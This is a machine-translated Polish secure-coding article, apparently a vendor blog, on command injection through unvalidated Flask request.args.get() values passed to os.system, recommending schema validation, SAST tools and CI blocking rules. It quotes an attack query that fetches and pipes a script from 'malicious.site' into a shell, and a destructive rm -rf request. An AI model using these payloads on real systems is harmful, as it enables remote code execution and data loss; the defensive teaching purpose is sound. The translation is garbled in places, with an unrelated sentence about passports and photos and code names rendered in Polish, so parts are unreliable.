Pułapka zastawiona: jak request.get() otwiera drzwi
W 2023 roku startup fintech wdrożył wewnętrzny system oparty na Flask dashboard co umożliwiło zespołowi DevOps zdalne uruchamianie zadań infrastrukturalnych. Jedna z tras wykorzystywała request.args.get(“cmd”) do pobrania polecenia powłoki z ciągu zapytania i przekazania go bezpośrednio do wywołania systemowego.
Wydawało się to bezpieczne, jeśli przyjmiemy, że dostęp do wewnętrznego systemu mają tylko zaufani użytkownicy. dashboardJednak z powodu błędnie skonfigurowanego odwrotnego serwera proxy usługa była dostępna publicznie przez kilka godzin. W tym czasie automatyczne skanery wykryły punkt końcowy.
Napastnicy szybko wykorzystali to, używając spreparowanego żądania, takiego jak ?cmd=curl+http://malicious.site/evil.sh|sh, co doprowadziło do zdalnego wykonania kodu (RCE). Stamtąd uzyskano dostęp do metadanych i danych uwierzytelniających instancji AWS, co doprowadziło do wycieku danych i eskalacji uprawnień.
Nie był to wyrafinowany atak; został on w całości umożliwiony przez niezweryfikowane dane wejściowe z request.get(). Aplikacja nie posiadała uwierzytelniania i nie była poddawana czyszczeniu. Co gorsza, żadne statyczne narzędzia analityczne nie zasygnalizowały zagrożenia, ponieważ zespół założył, że aplikacja jest bezpieczna ze względu na jej wewnętrzny kontekst.
Niniejszy artykuł nie dotyczy sposobów wykorzystania takich luk. Jego celem jest pomoc programistom w rozpoznaniu tego niebezpiecznego wzorca, zrozumieniu zagrożeń i wdrożeniu bezpiecznych praktyk kodowania w celu zapobiegania podobnym incydentom.
Exploit w akcji: aplikacja Flask uszkodzona przez dane wejściowe
W tej sekcji prezentujemy minimalną aplikację Flask, która pokazuje, jak szybko sprawy mogą pójść nie tak, gdy żądanie.get() jest używany bez walidacji. Prostota tego przykładu podkreśla zagrożenie – nawet kilka linijek niezabezpieczonego kodu może narazić system na poważne zagrożenia.
Ten punkt końcowy przyjmuje cmd parametr z żądania i przekazuje go bezpośrednio do system operacyjny(), umożliwiając każdemu, kto ma dostęp do punktu końcowego, wykonywanie dowolnych poleceń systemowych. Brak kontroli danych wejściowych, brak oczyszczania danych wejściowych, brak guardrailsTo podręcznikowy przykład tego, jak nie należy postępować z danymi wprowadzanymi przez użytkownika.

Bez walidacji atakujący mogą to wykorzystać, przekazując niebezpieczne polecenia powłoki bezpośrednio w ciągu zapytania. Na przykład, proste żądanie, takie jak curl 'http://localhost:5000/run?cmd=rm+-rf+/some/dir' może usunąć krytyczne katalogi. Polecenie jest wykonywane bez żadnych filtrów, co daje atakującemu zdalne wykonanie kodu (RCE) możliwości.
Prawdziwe niebezpieczeństwo tkwi w tym, jak cicho ta podatność przechodzi przez cały proces rozwoju pipelines. Ponieważ nie było narzędzia do analizy statycznej skonfigurowany do wykrywania niebezpiecznych wzorców, takich jak nieoczyszczone żądanie.get(), a ponieważ uważano, że punkt końcowy jest używany wyłącznie wewnętrznie, nikt nie zgłosił problemu podczas przeglądu kodu. Ten powszechny problem DevOps, polegający na zaufaniu do środowisk wewnętrznych i pomijaniu walidacji na rzecz szybkości, pozwolił krytycznej luce w zabezpieczeniach przedostać się do środowiska produkcyjnego bez jej wykrycia.
Gdzie wszystko się psuje: typowe pułapki programistyczne
Wiele poważnych luk w zabezpieczeniach aplikacji Flask wynika nie ze złożonej logiki, ale z prostych, powtarzających się błędów. Gdy priorytetem jest szybkość tworzenia oprogramowania, a nie bezpieczeństwo, pewne ryzykowne wzorce stają się normą, często bez świadomości długoterminowych konsekwencji dla programistów.
Oto najczęstsze błędy:
- Korzystanie z żądanie.get() bez walidacji i wartości domyślnych
Deweloperzy często używają request.args.get() aby szybko wyodrębnić parametry z żądania. Bez wartości domyślnych lub walidacji prowadzi to do nieprzewidywalnego zachowania, takiego jak przekazywanie żaden do logiki lub pozwalania użytkownikowi na wprowadzanie danych do niebezpiecznych operacji.
- Zaufanie do danych zewnętrznych bez kontroli
Niezależnie od tego, czy dane wejściowe pochodzą z formularza publicznego, bramy API czy wewnętrznego dashboard, należy traktować go jako niezaufany. Zakładanie, że jest bezpieczny tylko dlatego, że jest obsługiwany przez VPN lub używany przez wewnętrzne zespoły, to poważny błąd. - Delegowanie zabezpieczeń do bibliotek zewnętrznych bez weryfikacji zachowania
Chociaż biblioteki mogą abstrahować funkcjonalność, nie należy im bezkrytycznie ufać w kwestii egzekwowania bezpieczeństwa. Zawsze należy rozumieć, jak obsługują dane wejściowe i w razie potrzeby opakowywać kod zewnętrzny w warstwy walidacji. - Brak definicji typów lub walidacji danych wejściowych w obsłudze tras
Flask umożliwia dynamiczne typowanie i elastyczną obsługę żądań, ale może to szybko prowadzić do błędów lub luk w zabezpieczeniach. Bez jawnego wymuszania typów i walidacji schematu, nieoczekiwane dane wejściowe mogą ominąć logikę lub zakłócić działanie usług podrzędnych.
Te błędy często wynikają z presji szybkiego działania, wdrożenia funkcji lub wdrożenia poprawki. Jednak każde rozwiązanie na skróty podważa bezpieczeństwo aplikacji. Bezpieczne kodowanie musi być… standard, nie jest to wyjątek.
Dlaczego request.get() jest domyślnie ryzykowny
Na pierwszy rzut oka żądanie.get(), w tym jego warianty takie jak request.args.get() oraz request.form.get(), wydaje się nieszkodliwe i wygodne. Jednak pod tą prostotą kryje się niebezpieczne założenie: że przychodzące dane są wiarygodne.
To założenie jest błędne. Niezależnie od tego, czy tworzysz publiczne API, czy narzędzie wewnętrzne, dane wejściowe klienta zawsze należy traktować jako niewiarygodne. Jednak w wielu zespołach programistycznych, zwłaszcza pracujących z mikrousługami lub wewnętrznymi dashboardIstnieje tendencja do pomijania walidacji, „ponieważ jest wewnętrzna”. Takie podejście otwiera drzwi krytycznym lukom.
Dlaczego to jest ryzykowne
- Brak egzekwowania typu: żądanie.get() Zwraca dane bez zmian. Nie weryfikuje typu, formatu ani obecności wymaganych pól.
- Ciche awarie:Jeśli brakuje klucza, zwraca żaden, co często prowadzi do niezamierzonych zachowań lub błędów logicznych w dalszej części procesu.
- Bez filtrowania:Nie usuwa ani nie dezynfekuje szkodliwych danych wejściowych, przez co Twoja aplikacja jest podatna na ataki typu injection.
Iluzja wewnętrznego bezpieczeństwa
W środowiskach lub narzędziach opartych na sieciach VPN, opartych na mikrousługach, programiści często opierają swoją obronę na granicach infrastruktury. Prowadzi to do fałszywego poczucia bezpieczeństwa. Błędne konfiguracje, wycieki danych uwierzytelniających lub ujawniona usługa mogą szybko przekształcić się z poziomu „tylko do użytku wewnętrznego” w „publicznie dostępną”. żądanie.get() Nie to jest problemem, ale ślepe zaufanie. Bez walidacji danych wejściowych dajesz atakującym bezpośredni dostęp do logiki swojej aplikacji, a potencjalnie także do infrastruktury.
Zabezpieczenie przepływu: poprawna weryfikacja danych wprowadzanych przez użytkownika
Podstawa bezpieczeństwa Flask jest prosta: nigdy nie przetwarzaj danych wejściowych bez ustrukturyzowanej walidacjiWszystkie dane otrzymywane przez Twoją aplikację, niezależnie od tego, czy pochodzą z parametrów zapytania, formularzy czy interfejsów API, muszą być traktowane jako niezaufane i rygorystycznie sprawdzane przed użyciem.
Zalecane biblioteki do walidacji danych wejściowych
Ekosystem Pythona oferuje kilka dojrzałych bibliotek dostosowanych do walidacji danych żądań:
- ptasie mleczko – Świetnie nadaje się do definiowania schematów i deserializacji danych.
- Pydantyczny – Znany z modeli bezpiecznych pod względem typu; szeroko stosowany w FastAPI, ale dobrze sprawdza się także w Flask.
- Formularze WT – Idealny do obsługi formularzy i walidacji w tradycyjnych aplikacjach internetowych.
Narzędzia te ułatwiają definiowanie i egzekwowanie struktury, typów i ograniczeń danych wprowadzanych przez użytkownika.
Co zweryfikować
- rodzaje: Upewnij się, że liczby całkowite są liczbami całkowitymi, ciągi znaków są ciągami znaków, a wartości logiczne są wartościami logicznymi.
- Zakresy i długości:Ustaw granice liczb i wymuś minimalną i maksymalną długość ciągów znaków.
- Wymagane pola:Wyraźnie wymagaj obecności pewnych parametrów.
- wzory:Użyj wyrażeń regularnych do sprawdzenia oczekiwanych formatów, takich jak adresy e-mail, tokeny lub nazwy plików.
Przykład z pianką Marshmallow:
python
from marshmallow import Schema, fields, ValidationError
class CommandSchema(Schema):
cmd = fields.String(required=True)
schema = CommandSchema()
@app.route('/run')
def run():
try:
args = schema.load(request.args)
safe_cmd = sanitize_cmd(args['cmd']) # whitelist-based sanitation
os.system(safe_cmd)
except ValidationError as e:
return str(e), 400
Wielokrotnego użytku dekoratory dla czystego kodu
Możesz tworzyć dekoratory, aby stosować walidację spójnie na wielu trasach:
python
def validate_with(schema):
def decorator(f):
def wrapped(*args, **kwargs):
try:
validated = schema.load(request.args)
return f(validated, *args, **kwargs)
except ValidationError as e:
return str(e), 400
return wrapped
return decorator
Podsumowanie
Ustrukturyzowana walidacja nie jest opcjonalna, lecz niezbędna. Nigdy nie ufaj surowym danym wejściowym, nawet w systemach wewnętrznych. Zawsze korzystaj ze schematów, zawsze sprawdzaj typy i formaty oraz zawsze oczyszczaj to, co przetwarzasz.
Poprawki DevSecOps: Pipeline Security, Przesunięcie w lewo
Bezpieczeństwo nie powinno zaczynać się w fazie produkcyjnej; powinno zaczynać się w momencie pisania kodu. To jest podstawowa zasada leżąca u podstaw „Ruch „Przesuń w lewo”:wykrywanie problemów bezpieczeństwa na wczesnym etapie cyklu życia oprogramowania, zanim dotrą do środowiska wykonawczego.
Wdrażaj bezpieczeństwo od samego początku Commit
Aby skutecznie wykrywać ryzykowne użycie request.get() i podobnych wzorców, zintegruj zabezpieczenia bezpośrednio z CI/CD pipeline. Oto jak:
- Dodaj SAST zasady (Statyczne testowanie bezpieczeństwa aplikacji) do Twojego przepływu pracy. Reguły te mogą wykrywać niebezpieczny kod, taki jak nieoczyszczone wywołania request.get() przekazywane do funkcji systemowych.
- Zautomatyzuj sprawdzanie za pomocą narzędzi takich jak Bandit, Semgrep lub niestandardowych skryptów. Uruchom je w ramach GitHub Actions, GitLab CI lub Bitbucket. Pipelines.
- Zdefiniuj niestandardowe zasady, aby sygnalizować niebezpieczne praktyki, takie jak używanie request.args.get() bez walidacji.
Fuzje blokowe wprowadzające ryzyko
Kod, który nie przejdzie kontroli poprawności, nie powinien być łączony. Zapobieganie podatnościom commitwynikające z połączenia wymuszają dyscyplinę bezpieczeństwa w zespołach i pomagają stworzyć kulturę odpowiedzialności.
jobs:
secure-check:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Run Bandit
run: bandit -r app/ -ll
Dzięki wbudowaniu automatycznej analizy bezpieczeństwa w Twoje pipeline, wykrywasz problemy w momencie ich pojawienia się, a nie dopiero po ich uruchomieniu. To zmniejsza ryzyko, oszczędza czas i pomaga zespołom wdrażać aplikacje Flask z pewnością siebie.
Nie ufaj pakietowi: ryzyko ze strony osób trzecich
Kompletujemy wszystkie dokumenty (wymagana jest kopia paszportu i XNUMX zdjęcia) potrzebne do biblioteki innych firm mogą zwiększyć produktywność, mogą również niepostrzeżenie wprowadzać luki w zabezpieczeniach, zwłaszcza w zakresie przetwarzania danych wejściowych.
Rzeczywiste zagrożenia wynikające z niezabezpieczonych pakietów
Zdarzały się przypadki, gdy zaufane biblioteki wykonywały niebezpieczne operacje „ukryte”, takie jak odczytywanie danych wejściowych użytkownika za pomocą request.get() i przekazywanie ich bezpośrednio do funkcji takich jak eval(), open() lub poleceń systemowych. Te wady często są ukryte za warstwami abstrakcji, co utrudnia ich wykrycie podczas przeglądu kodu.
Na przykład narzędzie mające usprawnić przesyłanie plików wykorzystywało niesprawdzone parametry zapytania do konstruowania ścieżek do plików, co powodowało przemierzanie ścieżek i nieautoryzowany dostęp do plików.
Zależności przechodnie: ukryte zagrożenie
Nawet jeśli Twoje bezpośrednie zależności są bezpieczne, zależności przechodnie może nie być. To pakiety, od których zależą Twoje biblioteki i mogą one powodować ryzykowne zachowania bez Twojej wiedzy. Niewielka aktualizacja zależności głęboko w stosie może wprowadzić niepoprawne użycie request.get() w miejscach, nad którymi nie masz kontroli. To ryzyko mnoży się w przypadku mikrousług i narzędzi wewnętrznych, które w dużym stopniu opierają się na mniejszych, niszowych bibliotekach.
Co robić?
- Regularnie sprawdzaj zależności, także przechodnie.
- Użyj narzędzi takich jak pip-audit, Safety lub GitHub Dependabot, aby przeskanować systemy w poszukiwaniu znanych luk w zabezpieczeniach.
- Ręcznie sprawdź, w jaki sposób pakiety zewnętrzne obsługują dane wejściowe użytkownika, zwłaszcza jeśli wchodzą w interakcję z trasami lub parametrami żądań.
Nigdy nie zakładaj, że przesyłka, bez względu na to, jak mała lub znana, zapewnia bezpieczeństwo standards. Zawsze sprawdzaj poprawność danych wejściowych pochodzących ze źródeł zewnętrznych przed ich wprowadzeniem do logiki aplikacji.
Higiena programistów: edukacja i kultura DevSecOps
Tworzenie bezpiecznych aplikacji to nie tylko kwestia narzędzi, ale także kultury. Zespoły muszą zinternalizować bezpieczeństwo jako element swojej tożsamości programistycznej. Oznacza to, że bezpieczne kodowanie, a zwłaszcza walidacja danych wejściowych, powinno być nieodłącznym elementem każdego procesu pracy.
Uczyń walidację danych wejściowych częścią przeglądów kodu
Każda recenzja kodu powinna zawierać następujące pytania:
- Czy dane wprowadzane przez użytkownika są weryfikowane?
- Czy stosowane są schematy lub kontrole typów?
- Czy surowe dane wejściowe są przekazywane do logiki czy poleceń?
Zachęcanie do przeprowadzania takich kontroli w trakcie recenzji eksperckich kształtuje sposób myślenia, w którym bezpieczeństwo jest odpowiedzialnością każdego, a nie tylko zespołu ds. bezpieczeństwa.
Zdefiniuj zasady bezpiecznego kodowania dla interfejsów API Flask
Ustal wewnętrzne wytyczne określające:
- Jak obsługiwać dane wejściowe żądania (nigdy nie ufaj request.get() bez walidacji)
- Kiedy i jak korzystać z bibliotek takich jak Marshmallow czy Pydantic
- Wymagania dotyczące korzystania z dekoratorów i walidacji schematu w trasach
Uwzględnij te zasady w procesie wdrażania i dokumentacji.
Narzędzia do wykrywania niebezpiecznych wzorców
Wykorzystaj automatyzację, aby wcześnie i konsekwentnie wykrywać ryzykowne wzorce:
- Linters: Narzędzia takie jak flake8, pylint lub ruff można rozszerzyć o wtyczki w celu wykrywania niewłaściwego użycia request.get().
- Pre-commit hooks:Automatycznie skanuj niebezpieczne wzorce jeszcze przed pojawieniem się kodu commitprzetrząsać.
- Analizatory statyczne: Narzędzia takie jak Bandit, Xygeni lub Semgrep mogą sygnalizować niebezpieczne przetwarzanie danych wejściowych, brakujące walidacje lub niebezpieczne przepływy danych.
Zbuduj kulturę
Bezpieczeństwo to nie tylko kwestia techniczna, to kwestia behawioralna. Kiedy walidacja staje się drugą naturą, kiedy kontrole priorytetowo traktują bezpieczeństwo, a narzędzia wymuszają standardDzięki temu automatycznie Twój zespół staje się odporny.
Xygeni: Jak zapobiega tym problemom
Xygeni Pomaga zamknąć te drzwi od momentu napisania kodu. To platforma automatyzacji bezpieczeństwa, która wykrywa niebezpieczne wzorce, takie jak niehigieniczne użycie request.get(), już na pierwszym etapie. commit.
Wczesne wykrywanie dzięki projektowaniu
Xygeni skanuje każdy commit oraz pull request Aby zidentyfikować niebezpieczne użycie request.get() i podobnych antywzorców. Oznacza przypadki, w których dane wejściowe nie są weryfikowane przed przekazaniem ich do krytycznych funkcji, takich jak os.system, eval czy operacje na plikach.
Dzięki proaktywnemu podejściu ryzykowny kod nigdy nie trafi niepostrzeżenie do produkcji.
Blokuj automatycznie niebezpieczne połączenia
Poza funkcją wykrywania, Xygeni umożliwia zespołom egzekwowanie zasad, które zapobiegają scalaniu niebezpiecznego kodu. Zasady te są konfigurowalne, co pozwala organizacjom definiować, co jest akceptowalne, a co nie, w oparciu o wewnętrzne zabezpieczenia Flask. standards.
wzór: „żądanie\.args\.get\(['\”]\w+['\”]\)”
stan: „używane w os\.system lub open() lub exec()”
akcja: "blok"
Bezszwowy CI/CD Integracja
Xygeni integruje się bezproblemowo z platformami takimi jak:
Niezależnie od tego, czy korzystasz z rozwiązania CI opartego na chmurze, czy hostowanego samodzielnie pipelineDzięki temu Xygeni dopasowuje się do Twojego przepływu pracy bez zakłóceń, egzekwując zasady bezpieczeństwa Flask w spójny sposób w każdym repozytorium.
Dzięki bezpośredniemu wdrożeniu kontroli bezpieczeństwa w Twoim środowisku programistycznym pipelineXygeni dba o to, aby niebezpieczne wzorce były wykrywane na wczesnym etapie, szybko analizowane i naprawiane, zanim wyrządzą szkody.
Ostateczny cios: Czysty wkład lub kompromis
Należy podkreślić: to nie tylko problem bezpieczeństwa Flaska. Kluczową kwestią jest zaufanie do danych wprowadzanych przez użytkownika, niezależnie od frameworka czy środowiska.
Niezatwierdzone dane wejściowe to uniwersalny wektor zagrożeń; prowadzą do zdalnego wykonania kodu, wycieków danych, eskalacji uprawnień i ostatecznie do utraty kontroli nad systemami. Dlatego walidacja musi być traktowana priorytetowo we wszystkich procesach rozwoju oprogramowania. Weryfikuj wszystko. Niczego nie zakładaj. Zawsze dezynfekuj.
Walidacja nie jest opcjonalna. Nie jest czymś „miłym”. To niepodlegający negocjacjom element bezpiecznego tworzenia oprogramowania. Brak walidacji danych wejściowych jest jak pozostawienie otwartych drzwi wejściowych w niebezpiecznej okolicy; ktoś w końcu wejdzie.
Niezależnie od tego, czy tworzysz interfejsy API do użytku publicznego, czy usługi wewnętrzne w sieciach VPN, dane wejściowe muszą być weryfikowane i oczyszczane. Każdy parametr, każde pole formularza, każdy ciąg zapytania – zawsze.
Najlepsze praktyki opisane w tym artykule: walidacja oparta na schemacie, analiza kodu statycznego, bezpieczeństwo pipelineoraz higiena kulturowa są niezbędne do obrony przed nadużyciami request.get() i podobnymi niebezpiecznymi wzorcami.







